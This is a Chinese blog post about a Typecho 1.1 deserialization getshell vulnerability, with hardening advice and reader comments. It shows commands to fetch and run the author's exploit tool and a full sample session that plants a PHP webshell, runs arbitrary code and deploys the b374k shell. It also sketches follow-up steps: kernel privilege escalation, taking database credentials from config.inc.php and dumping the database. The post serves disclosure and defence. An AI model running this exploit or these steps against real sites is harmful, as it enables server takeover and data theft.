登录
  • 人们都希望被别人需要 却往往事与愿违
  • 你可以暂时地蒙骗所有人, 也可以永久地蒙骗部分人, 但不可能永久地蒙骗所有人。 @林肯 (美国前总统)

谈谈近期Typecho 的漏洞exploit及预防措施

畅言 Benny小土豆 7906次浏览 3633字 22个评论
文章目录[显示]

几天前(28日好像是)Typecho被爆出getshell漏洞,想想还是很可怕的。

噢对了,我忘记说了,本文仅供学习交流,请不要在未授权的环境中使用此工具。我图中的测试站,是我现搭建的(对就是不想告诉大家我究竟有多少个域名和服务器…)……你就看那个主机名,miss-ed,思念还是错过,多么符合我的文风啊!

漏洞复现

服务器环境

nginx/1.9.5

PHP 7.0.22

mysql Ver 14.14 Distrib 5.5.48

Typecho 1.1 (17.4.24)(好像是1013还是10月28日之前的都有这个问题)

有没有人想问为什么是Nginx 1.9.5这么老的版本吗……唔

谈谈近期Typecho 的漏洞exploit及预防措施

真是没有比我还蠢的人了

利用条件:PHP对webroot拥有写入权限,www的600就够了。如果Typecho对目录没有写权限,那么……没得玩了。

利用步骤

GitHub开源地址
git clone https://github.com/BennyThink/Typecho_deserialization_exploit
cd Typecho_deserialization_exploit
python exp.ty

之后根据提示操作,示例输出:

root@qcloud:~/Typecho_deserialization_exploit# python exp.py
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>1
Input your target, i.e:http://localhost/ty
>https://example.com
Your target url is https://example.com
shell: https://example.com/p0.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>2
1 . https://example.com/p0.php Enter your target number:
>1
Enter your PHP code:
>echo 'pwned';
pwned
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>3
1 . https://example.com/p0.php Enter your target number:
>1
Enter your system commands:
>ls
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>4
1 . https://example.com/p0.php Enter your target number:
>1
visit https://example.com/b374k.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>

成功写入webshell,第三步执行系统命令没有回显是因为我禁用了system()函数

谈谈近期Typecho 的漏洞exploit及预防措施

谈谈近期Typecho 的漏洞exploit及预防措施

由于运行PHP的用户是一个低权限的non-login shell用户www,所以嘛……没有SMB那么爽的感觉了。当然Windows就没有这个说法了,说不定人品好,还有人是拿管理员运行的PHP呢……这个时候就可以有mimikatz了。

更进一步的玩法

只是一点点猜想,仅供参考

内核提权漏洞

通过phpinfo拿到系统信息,去exploit找对应的内核提权漏洞,想办法吧www提权成root

脱库与跑路

通过读取Typecho的配置文件config.inc.php拿到数据库账号密码,塞满垃圾文件,脱库与跑路什么的;顺着搜搜有没有MySQL的什么安全漏洞可以利用、绕过。

报告给博主

对,这才是正经的嘛……当然了,那些连个联系方式也不留的、八百年不发一篇博文的、whois查不到邮箱的、评论也不管的死灰一样的博客,那活该了。我也很无奈啊。

预防措施和一些建议

升级Typecho到最新的版本或者删除文件

升级Typecho到最新版本,或者删除install.phpinstall目录。暂时不能更新的,关站保平安吧。

使用www、mysql等non-login shell用户运行Apache/Nginx、PHP、MySQL

千万不要拿root跑啊,这要是拿root跑了,那就和SMB漏洞是一样一样滴爽。

记得更新系统,不要使用已无支持的操作系统

EOL(End of Life)的就不要用了,没有安全更新,万一被人找到提权,那不就完蛋了吗。

举例说明,Windows XP,Windows 2003,Windows Vista,CentOS 5,Ubuntu 12.04等等……

对于发行版来说,可以用cron来计划更新,比如说我是这么干的:

0 3 */3 * * apt update && apt upgrade -y

每隔三天的凌晨三点都会更新一波

尽可能的使用Linux当服务器

嗯……如果你用Windows的话,在这种情况下webshell就可以大显神通了……

配置php.ini

配置open_basedir,不让PHP程序访问本身目录以外的目录,比如说我是这么配置的:

open_basedir=/home/wwwroot/dmesg.app:/tmp/:/proc/

并且如果不需要的话,那么就禁用一些比较危险的函数,比如说system()exec()

别没事干就777

除非你懂得777是什么意思,知道你这次的777有何影响。

别说777了,任何更改文件目录(包括web目录)权限的操作都要三思而后行,尤其是某些特别敏感的文件,比如说如果某人的/etc/shadow的权限是644(原本应该是640),那么任何人都可以读取了……

开启App Armor、SELinux等

不好意思,这个我不太会玩……不过……很多人拿到一台CentOS都是……第一步……关闭SELinux的吧……

更多参考资料

ph0rse
joyqi
blogsir
b374k

总结

此次漏洞的影响还是比较大的,至少吧……攻击者能够拿到webshell,再怎么也能拿到整个数据库的权限了。

哦对,trick or treat?

賢狼ホロ:?羡慕高产(


文章版权归原作者所有丨本站默认采用CC-BY-NC-SA 4.0协议进行授权|
转载必须包含本声明,并以超链接形式注明原作者和本文原始地址:
https://dmesg.app/typecho-exploit.html
喜欢 (9)
分享:-)
关于作者:
If you have any further questions, feel free to contact me in English or Chinese.
发表我的评论(代码和日志请使用Pastebin或Gist)
取消评论

                     

去你妹的实名制!

  • 昵称 (必填)
  • 邮箱 (必填,不要邮件提醒可以随便写)
  • 网址 (选填)
(22)个小伙伴在吐槽
  1. orz,偶然翻到这个文章,突然想起自己的服务器以前帮朋友挂着typecho,然后去目录一看果然有马,幸好自己是用apache用户来运行apache的。。 顺便贴上马的内容
    crab2018-04-25 17:20 回复
    • orz,怎么code标签里面的东西不显示。。。
      crab2018-04-25 17:21 回复
    • 幸好用的是低权限的用户:-)稍微改造一下就是一个大规模杀伤性武器
      code里不显示可能是因为被过滤了,还是用pastebin吧。
      Benny小土豆2018-04-26 10:31 回复
  2. 自已改权限都用chmod +x之类的,然后......
    -- 偏执布偶君
    签到成功!签到时间:2017-11-10 18:45:43,每日打卡,生活更精彩哦~
    布偶君2017-11-10 18:48 回复
    • ?然后 然后呢?
      Benny小土豆2017-11-10 19:09 回复
      • 然后这是因为我不愿去记数字权限编号,我更喜欢符号权限。(就是chmod用symbolic mode)
        chmod changes the file mode bits of each given file according to mode, which can be either a symbolic representation of changes to make, or an octal number representing the bit pattern for the new mode bits.

        这应该没什么问题吧。。。。。。(因为看文章和评论都用的数字权限编号)

        签到成功!签到时间:2017-11-10 19:18:16,每日打卡,生活更精彩哦~
        布偶君2017-11-10 19:28 回复
        • 我觉得看情况吧,设置单个权限的变化一般就rwx选择了,多个一般就数字,每次还得默念4读2写1执行哈哈哈
          Benny小土豆2017-11-10 23:47
  3. php_admin_value open_basedir "/storage/data/wwwroot/blog/public_html/:/dev/shm/web/blog/" php_admin_value upload_tmp_dir "/dev/shm/web/blog/" php_admin_value session.save_path "/dev/shm/web/blog/" 我的是这样的。。。
    yandere2017-11-02 08:02 回复
    • 你在用tmpfs干嘛?
      Benny小土豆2017-11-02 08:53 回复
  4. 膜拜dalao...以前就感觉php什么的可以读取到系统目录的文件很危险了,然而不知道怎么关闭...
    永远的萌新2017-11-01 13:59 回复
    • open_basedir限制用户访问目录,然后禁用systemchroot等危险函数,去掉webroot对PHP的写入权限(一些特殊目录比如说上传目录排除)
      Benny小土豆2017-11-01 15:06 回复
      • 感谢dalao~
        永远的萌新2017-11-01 16:34 回复
  5. chmod 500 -v -R /web/blog/ 写点汉字吧,博主外语很捉鸡
    yandere2017-10-31 18:32 回复
    • 然后发现,图片无法上传了??其实有读就够了,图片缓存开个例外~
      Benny小土豆2017-10-31 18:40 回复
  6. 我的 /etc/shadow 权限是 000~
    依云2017-10-31 17:56 回复
    • ?我的天 要不要加个chattr +i
      Benny小土豆2017-10-31 18:19 回复
      • 不要,那样更新起来就不方便了~
        依云2017-10-31 18:33 回复
        • 咱可以给passwd一个别名??
          Benny小土豆2017-10-31 18:39
  7. Arch : 默认没装SELinux ,php 没禁用函数也没open_basedir ??
    ホロ2017-10-31 17:43 回复
    • 可执行 PHP 代码的目录能够使用 PHP 写入文件,本来就是一件极不安全的事嘛。参见 https://blog.lilydjwg.me/2017/6/1/wordpress-is-shit-wrt-security.209744.html
      依云2017-10-31 17:58 回复
      • ?按照大多数发行版默认的0022,再加上安装时偷懒……往往都是给webroot了w权限??
        Benny小土豆2017-10-31 18:25 回复
    • 反正你也是Pelican...??
      Benny小土豆2017-10-31 18:23 回复